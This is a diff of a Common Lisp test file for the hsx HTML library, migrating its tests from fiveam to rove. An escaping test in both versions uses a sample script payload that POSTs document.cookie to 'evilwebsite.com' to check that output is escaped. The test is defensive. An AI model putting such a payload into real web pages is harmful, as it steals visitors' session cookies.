|
1 | 1 | (defpackage #:hsx-test/element
|
2 | 2 | (:use #:cl
|
3 |
| - #:fiveam |
| 3 | + #:rove |
4 | 4 | #:hsx/element)
|
5 | 5 | (:import-from #:named-readtables
|
6 | 6 | #:in-readtable)
|
7 | 7 | (:import-from #:mstrings
|
8 | 8 | #:mstring-syntax))
|
9 | 9 | (in-package #:hsx-test/element)
|
10 |
| -(in-readtable mstring-syntax) |
11 |
| - |
12 |
| -(def-suite element-test) |
13 |
| -(in-suite element-test) |
14 |
| - |
15 |
| -(test element-class |
16 |
| - (is (typep (create-element :div nil nil) 'tag)) |
17 |
| - (is (typep (create-element :html nil nil) 'html-tag)) |
18 |
| - (is (typep (create-element :img nil nil) 'self-closing-tag)) |
19 |
| - (is (typep (create-element :style nil nil) 'non-escaping-tag)) |
20 |
| - (is (typep (create-element :<> nil nil) 'fragment)) |
21 |
| - (is (typep (create-element (lambda ()) nil nil) 'component)) |
22 |
| - (signals error (create-element "div" nil nil))) |
23 |
| - |
24 |
| -(test flatten-children |
25 |
| - (let* ((elm (create-element :p |
26 |
| - nil |
27 |
| - (list "a" |
28 |
| - nil |
29 |
| - (list "b" (list nil "c")) |
30 |
| - (cons "d" "e"))))) |
31 |
| - (is (equal (list "a" "b" "c" "d" "e") (element-children elm))))) |
32 | 10 |
|
33 |
| -(test empty-element |
34 |
| - (is (string= "<div></div>" |
35 |
| - (render-to-string (create-element :div nil nil))))) |
36 |
| - |
37 |
| -(test element-with-props |
38 |
| - (is (string= "<div prop1=\"value1\" prop2></div>" |
39 |
| - (render-to-string (create-element :div |
40 |
| - (list :prop1 "value1" |
41 |
| - :prop2 t |
42 |
| - :prop3 nil) |
43 |
| - nil))))) |
| 11 | +(in-readtable mstring-syntax) |
44 | 12 |
|
45 |
| -(test element-with-children |
46 |
| - (is (string= "<p>foo</p>" |
47 |
| - (render-to-string (create-element :p |
48 |
| - nil |
49 |
| - (list "foo")) |
50 |
| - :pretty t))) |
51 |
| - (is (string= #M"<p> |
| 13 | +(deftest tag-test |
| 14 | + (testing "element-class" |
| 15 | + (ok (typep (create-element :div nil nil) 'tag)) |
| 16 | + (ok (typep (create-element :html nil nil) 'html-tag)) |
| 17 | + (ok (typep (create-element :img nil nil) 'self-closing-tag)) |
| 18 | + (ok (typep (create-element :style nil nil) 'non-escaping-tag)) |
| 19 | + (ok (typep (create-element :<> nil nil) 'fragment)) |
| 20 | + (ok (typep (create-element (lambda ()) nil nil) 'component)) |
| 21 | + (ok (signals (create-element "div" nil nil)))) |
| 22 | + |
| 23 | + (testing "flatten-children" |
| 24 | + (let* ((elm (create-element :p |
| 25 | + nil |
| 26 | + (list "a" |
| 27 | + nil |
| 28 | + (list "b" (list nil "c")) |
| 29 | + (cons "d" "e"))))) |
| 30 | + (ok (equal (list "a" "b" "c" "d" "e") (element-children elm))))) |
| 31 | + |
| 32 | + (testing "empty-element" |
| 33 | + (ok (string= "<div></div>" |
| 34 | + (render-to-string (create-element :div nil nil))))) |
| 35 | + |
| 36 | + (testing "element-with-props" |
| 37 | + (ok (string= "<div prop1=\"value1\" prop2></div>" |
| 38 | + (render-to-string (create-element :div |
| 39 | + (list :prop1 "value1" |
| 40 | + :prop2 t |
| 41 | + :prop3 nil) |
| 42 | + nil))))) |
| 43 | + |
| 44 | + (testing "element-with-children" |
| 45 | + (ok (string= "<p>foo</p>" |
| 46 | + (render-to-string (create-element :p |
| 47 | + nil |
| 48 | + (list "foo")) |
| 49 | + :pretty t))) |
| 50 | + (ok (string= #M"<p> |
52 | 51 | \ <span>foo</span>
|
53 | 52 | </p>"
|
54 |
| - (render-to-string (create-element :p |
55 |
| - nil |
56 |
| - (list (create-element :span |
57 |
| - nil |
58 |
| - (list "foo")))) |
59 |
| - :pretty t))) |
60 |
| - (is (string= #M"<p> |
| 53 | + (render-to-string (create-element :p |
| 54 | + nil |
| 55 | + (list (create-element :span |
| 56 | + nil |
| 57 | + (list "foo")))) |
| 58 | + :pretty t))) |
| 59 | + (ok (string= #M"<p> |
61 | 60 | \ foo
|
62 | 61 | \ <span>bar</span>
|
63 | 62 | </p>"
|
64 |
| - (render-to-string (create-element :p |
65 |
| - nil |
66 |
| - (list "foo" |
67 |
| - (create-element :span |
68 |
| - nil |
69 |
| - (list "bar")))) |
70 |
| - :pretty t)))) |
71 |
| - |
72 |
| -(test element-with-props-and-children |
73 |
| - (is (string= "<p prop1=\"value1\" prop2>foo</p>" |
74 |
| - (render-to-string (create-element :p |
75 |
| - (list :prop1 "value1" |
76 |
| - :prop2 t |
77 |
| - :prop3 nil) |
78 |
| - (list "foo")) |
79 |
| - :pretty t))) |
80 |
| - (is (string= #M"<p prop1=\"value1\" prop2> |
| 63 | + (render-to-string (create-element :p |
| 64 | + nil |
| 65 | + (list "foo" |
| 66 | + (create-element :span |
| 67 | + nil |
| 68 | + (list "bar")))) |
| 69 | + :pretty t)))) |
| 70 | + |
| 71 | + (testing "element-with-props-and-children" |
| 72 | + (ok (string= "<p prop1=\"value1\" prop2>foo</p>" |
| 73 | + (render-to-string (create-element :p |
| 74 | + (list :prop1 "value1" |
| 75 | + :prop2 t |
| 76 | + :prop3 nil) |
| 77 | + (list "foo")) |
| 78 | + :pretty t))) |
| 79 | + (ok (string= #M"<p prop1=\"value1\" prop2> |
81 | 80 | \ foo
|
82 | 81 | \ <span>bar</span>
|
83 | 82 | </p>"
|
84 |
| - (render-to-string (create-element :p |
85 |
| - (list :prop1 "value1" |
86 |
| - :prop2 t |
87 |
| - :prop3 nil) |
88 |
| - (list "foo" |
89 |
| - (create-element :span |
90 |
| - nil |
91 |
| - "bar"))) |
92 |
| - :pretty t)))) |
93 |
| - |
94 |
| -(test self-closing-tag |
95 |
| - (is (string= "<img src=\"/background.png\">" |
96 |
| - (render-to-string (create-element :img |
97 |
| - (list :src "/background.png") |
98 |
| - nil) |
99 |
| - :pretty t)))) |
100 |
| - |
101 |
| -(test escaping-tag |
102 |
| - (is (string= "<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>" |
103 |
| - (render-to-string |
104 |
| - (create-element :div |
105 |
| - nil |
106 |
| - (list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>")))))) |
107 |
| - |
108 |
| -(test non-escaping-tag |
109 |
| - (is (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>" |
110 |
| - (render-to-string |
111 |
| - (create-element :script |
112 |
| - nil |
113 |
| - "alert('<< Do not embed user-generated contents here! >>')"))))) |
114 |
| - |
115 |
| -(test fragment |
116 |
| - (let ((frg (create-element :<> |
117 |
| - nil |
118 |
| - (list (create-element :li |
119 |
| - nil |
120 |
| - (list "bar")) |
121 |
| - (create-element :li |
122 |
| - nil |
123 |
| - (list "baz")))))) |
124 |
| - (is (string= #M"<li>bar</li> |
| 83 | + (render-to-string (create-element :p |
| 84 | + (list :prop1 "value1" |
| 85 | + :prop2 t |
| 86 | + :prop3 nil) |
| 87 | + (list "foo" |
| 88 | + (create-element :span |
| 89 | + nil |
| 90 | + "bar"))) |
| 91 | + :pretty t)))) |
| 92 | + (testing "self-closing-tag" |
| 93 | + (ok (string= "<img src=\"/background.png\">" |
| 94 | + (render-to-string (create-element :img |
| 95 | + (list :src "/background.png") |
| 96 | + nil) |
| 97 | + :pretty t)))) |
| 98 | + |
| 99 | + (testing "escaping-tag" |
| 100 | + (ok (string= "<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>" |
| 101 | + (render-to-string |
| 102 | + (create-element :div |
| 103 | + nil |
| 104 | + (list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>")))))) |
| 105 | + |
| 106 | + (testing "non-escaping-tag" |
| 107 | + (ok (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>" |
| 108 | + (render-to-string |
| 109 | + (create-element :script |
| 110 | + nil |
| 111 | + "alert('<< Do not embed user-generated contents here! >>')"))))) |
| 112 | + |
| 113 | + (testing "fragment" |
| 114 | + (let ((frg (create-element :<> |
| 115 | + nil |
| 116 | + (list (create-element :li |
| 117 | + nil |
| 118 | + (list "bar")) |
| 119 | + (create-element :li |
| 120 | + nil |
| 121 | + (list "baz")))))) |
| 122 | + (ok (string= #M"<li>bar</li> |
125 | 123 | <li>baz</li>"
|
126 |
| - (render-to-string frg :pretty t))) |
127 |
| - (is (string= #M"<ul> |
| 124 | + (render-to-string frg :pretty t))) |
| 125 | + (ok (string= #M"<ul> |
128 | 126 | \ <li>foo</li>
|
129 | 127 | \ <li>bar</li>
|
130 | 128 | \ <li>baz</li>
|
131 | 129 | \ <li>brah</li>
|
132 | 130 | </ul>"
|
133 |
| - (render-to-string (create-element :ul |
134 |
| - nil |
135 |
| - (list (create-element :li |
136 |
| - nil |
137 |
| - (list "foo")) |
138 |
| - frg |
139 |
| - (create-element :li |
140 |
| - nil |
141 |
| - (list "brah")))) |
142 |
| - :pretty t))))) |
| 131 | + (render-to-string (create-element :ul |
| 132 | + nil |
| 133 | + (list (create-element :li |
| 134 | + nil |
| 135 | + (list "foo")) |
| 136 | + frg |
| 137 | + (create-element :li |
| 138 | + nil |
| 139 | + (list "brah")))) |
| 140 | + :pretty t)))))) |
143 | 141 |
|
144 | 142 | (defun comp1 (&key prop children)
|
145 | 143 | (create-element :div
|
146 | 144 | nil
|
147 | 145 | (list prop
|
148 | 146 | children)))
|
149 | 147 |
|
150 |
| -(test component-accepting-keyword-args |
151 |
| - (let ((elm (expand-component (create-element #'comp1 |
152 |
| - '(:prop "value") |
153 |
| - (list "child"))))) |
154 |
| - (is (eq :div (element-type elm))) |
155 |
| - (is (equal (list "value" "child") (element-children elm))))) |
156 |
| - |
157 | 148 | (defun comp2 (&rest props)
|
158 | 149 | (create-element :div
|
159 | 150 | nil
|
160 | 151 | (list (getf props :prop)
|
161 | 152 | (getf props :children))))
|
162 | 153 |
|
163 |
| -(test component-accepting-property-list |
164 |
| - (let ((elm (expand-component (create-element #'comp2 |
165 |
| - '(:prop "value") |
166 |
| - (list "child"))))) |
167 |
| - (is (eq :div (element-type elm))) |
168 |
| - (is (equal (list "value" "child") (element-children elm))))) |
169 |
| - |
170 | 154 | (defun comp3 (&rest props &key prop children &allow-other-keys)
|
171 | 155 | (create-element :div
|
172 | 156 | nil
|
173 | 157 | (list prop
|
174 | 158 | children
|
175 | 159 | (getf props :other-key))))
|
176 | 160 |
|
177 |
| -(test component-accepting-keyword-args-and-property-list |
178 |
| - (let ((elm (expand-component (create-element #'comp3 |
179 |
| - '(:prop "value" :other-key "other") |
180 |
| - (list "child"))))) |
181 |
| - (is (eq :div (element-type elm))) |
182 |
| - (is (equal (list "value" "child" "other") (element-children elm))))) |
| 161 | +(deftest component-test |
| 162 | + (testing "component-accepting-keyword-args" |
| 163 | + (let ((elm (expand-component (create-element #'comp1 |
| 164 | + '(:prop "value") |
| 165 | + (list "child"))))) |
| 166 | + (ok (eq :div (element-type elm))) |
| 167 | + (ok (equal (list "value" "child") (element-children elm))))) |
| 168 | + |
| 169 | + (testing "component-accepting-property-list" |
| 170 | + (let ((elm (expand-component (create-element #'comp2 |
| 171 | + '(:prop "value") |
| 172 | + (list "child"))))) |
| 173 | + (ok (eq :div (element-type elm))) |
| 174 | + (ok (equal (list "value" "child") (element-children elm))))) |
| 175 | + |
| 176 | + (testing "component-accepting-keyword-args-and-property-list" |
| 177 | + (let ((elm (expand-component (create-element #'comp3 |
| 178 | + '(:prop "value" :other-key "other") |
| 179 | + (list "child"))))) |
| 180 | + (ok (eq :div (element-type elm))) |
| 181 | + (ok (equal (list "value" "child" "other") (element-children elm)))))) |
0 commit comments